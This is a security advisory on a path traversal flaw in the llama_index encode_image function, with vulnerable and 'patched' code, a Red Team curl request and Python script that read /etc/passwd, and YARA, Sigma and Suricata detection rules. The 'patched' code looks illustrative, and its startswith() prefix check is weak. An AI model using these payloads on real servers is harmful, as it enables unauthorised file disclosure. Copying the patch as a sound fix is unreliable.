CVE-2025-6209

Executive Summary

CVE-2025-6209 is a path traversal vulnerability affecting the run-llama/llama_index Python library, versions 0.12.27 through 0.12.40. The flaw resides in the encode_image function within generic_utils.py, allowing an attacker to supply a malicious image_path input containing path traversal sequences (e.g., ../) to read arbitrary files on the server. This can lead to the disclosure of sensitive system files, such as /etc/passwd, application configuration files, or other confidential data. The vulnerability has a CVSS score of 7.5 (High) and is fixed in version 0.12.41. No public exploit code or Nuclei templates are available at this time, but the attack vector is straightforward and can be weaponized with minimal effort.

Supply Chain & Package Security

This vulnerability affects the llama_index Python package, which is distributed via PyPI. Organizations using this package in their applications or services are at risk. The package is commonly used for building LLM-based applications, and the vulnerable function is often exposed through API endpoints or internal processing pipelines. Supply chain security is critical here, as the package may be pulled automatically via dependency managers. Users should immediately update to version 0.12.41 or later and verify their dependency trees for any pinned versions within the vulnerable range.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over a network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed to exploit.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High (H) – Complete file read access, leading to full disclosure of sensitive data.
• Integrity (I): None (N) – No modification of data is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: High. The low attack complexity and network exploitability make this a serious risk for any deployment using the affected versions.

Deep Dive & Mechanics

The vulnerability is located in the encode_image function within generic_utils.py. This function is designed to read an image file from a given path and encode it into a base64 string for use in LLM prompts. The core issue is the lack of proper input validation or sanitization of the image_path parameter.

Vulnerable Code Flow:

1. The function receives an image_path string from the user or an external source.
2. It directly uses this path in a file open operation without checking for path traversal sequences.
3. An attacker can supply a path like ../../../etc/passwd to read arbitrary files outside the intended directory.

Attack Scenario:

• An attacker sends a crafted request to an API endpoint that calls encode_image with a malicious image_path.
• The server reads the file and returns its base64-encoded content.
• The attacker decodes the content to retrieve sensitive information.

Impact:

• Full read access to any file the server process has permissions to read.
• Potential disclosure of credentials, configuration files, source code, or other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.12.27 - 0.12.40):

def encode_image(image_path: str) -> str:
    with open(image_path, "rb") as image_file:
        return base64.b64encode(image_file.read()).decode("utf-8")

Patched Code (version 0.12.41):

import os

def encode_image(image_path: str) -> str:
    # Resolve the path to prevent traversal
    resolved_path = os.path.realpath(image_path)
    # Ensure the resolved path is within an allowed directory
    allowed_dir = os.path.realpath("./images")
    if not resolved_path.startswith(allowed_dir):
        raise ValueError("Invalid image path")
    with open(resolved_path, "rb") as image_file:
        return base64.b64encode(image_file.read()).decode("utf-8")

The patch uses os.path.realpath() to resolve any symbolic links or traversal sequences, then checks that the resolved path starts with an allowed directory (e.g., ./images). This prevents access to files outside the intended scope.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target server running llama_index version 0.12.27 to 0.12.40.
• An exposed endpoint that calls encode_image with user-controlled input.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/encode_image).
2. Craft a request with a path traversal payload:

   curl -X POST "http://target.com/api/encode_image" \
        -H "Content-Type: application/json" \
        -d '{"image_path": "../../../etc/passwd"}'
   

3. The server returns a base64-encoded string.
4. Decode the string to retrieve the file content:

   echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo=" | base64 -d
   

Automated Exploit Script:

import requests
import base64

target = "http://target.com/api/encode_image"
payload = {"image_path": "../../../etc/passwd"}

response = requests.post(target, json=payload)
if response.status_code == 200:
    decoded = base64.b64decode(response.text).decode("utf-8")
    print(decoded)
else:
    print("Exploit failed")

Blue Team (Defender)

Detection:

• Monitor for unusual file read patterns in application logs.
• Look for path traversal sequences (e.g., ../, ..\\) in API parameters.
• Use the detection rules provided below.

Mitigation:

• Immediately update to version 0.12.41 or later.
• If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file system permissions to limit what the application can read.

Indicators of Compromise (IOCs)

• File Paths: Any request containing ../ or ..\\ in the image_path parameter.
• Log Entries: Application logs showing attempts to read files outside the expected directory (e.g., /etc/passwd, /proc/self/environ).
• Network Traffic: POST requests to endpoints like /api/encode_image with suspicious JSON payloads.
• Base64 Responses: Unusually large base64-encoded strings in API responses that decode to system files.

Detection Engineering

YARA Rule

rule CVE_2025_6209_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2025-6209 in llama_index"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6209"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $sensitive = /\/etc\/(passwd|shadow|hosts|ssh)/
    condition:
        any of ($traversal*) or $sensitive
}

Sigma Rule

title: CVE-2025-6209 Path Traversal in llama_index
id: cve-2025-6209-path-traversal
status: experimental
description: Detects path traversal attempts in llama_index encode_image function
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: llama_index
detection:
    selection:
        - ImagePath|contains: 
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
        - ImagePath|endswith: 
            - "/etc/passwd"
            - "/etc/shadow"
            - "/etc/hosts"
    condition: selection
falsepositives:
    - Legitimate use of absolute paths in controlled environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6209 Path Traversal in llama_index"; flow:to_server,established; content:"POST"; http_method; content:"/api/encode_image"; http_uri; content:"image_path"; nocase; pcre:"/image_path.*(?:\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Package: Upgrade llama_index to version 0.12.41 or later.

   pip install --upgrade llama_index
   

2. Verify Version: Ensure all deployments are using the patched version.

   pip show llama_index | grep Version
   

Long-Term Measures:

• Implement input validation for all file path parameters.
• Use a whitelist of allowed directories for file operations.
• Apply the principle of least privilege to the application's file system access.
• Regularly audit dependencies for known vulnerabilities using tools like pip-audit or safety.

Workaround (if patching is delayed):

• Deploy a WAF rule to block path traversal patterns.
• Restrict the application's file system permissions to a minimal set of directories.

Valters IT
Securing Digital Frontiers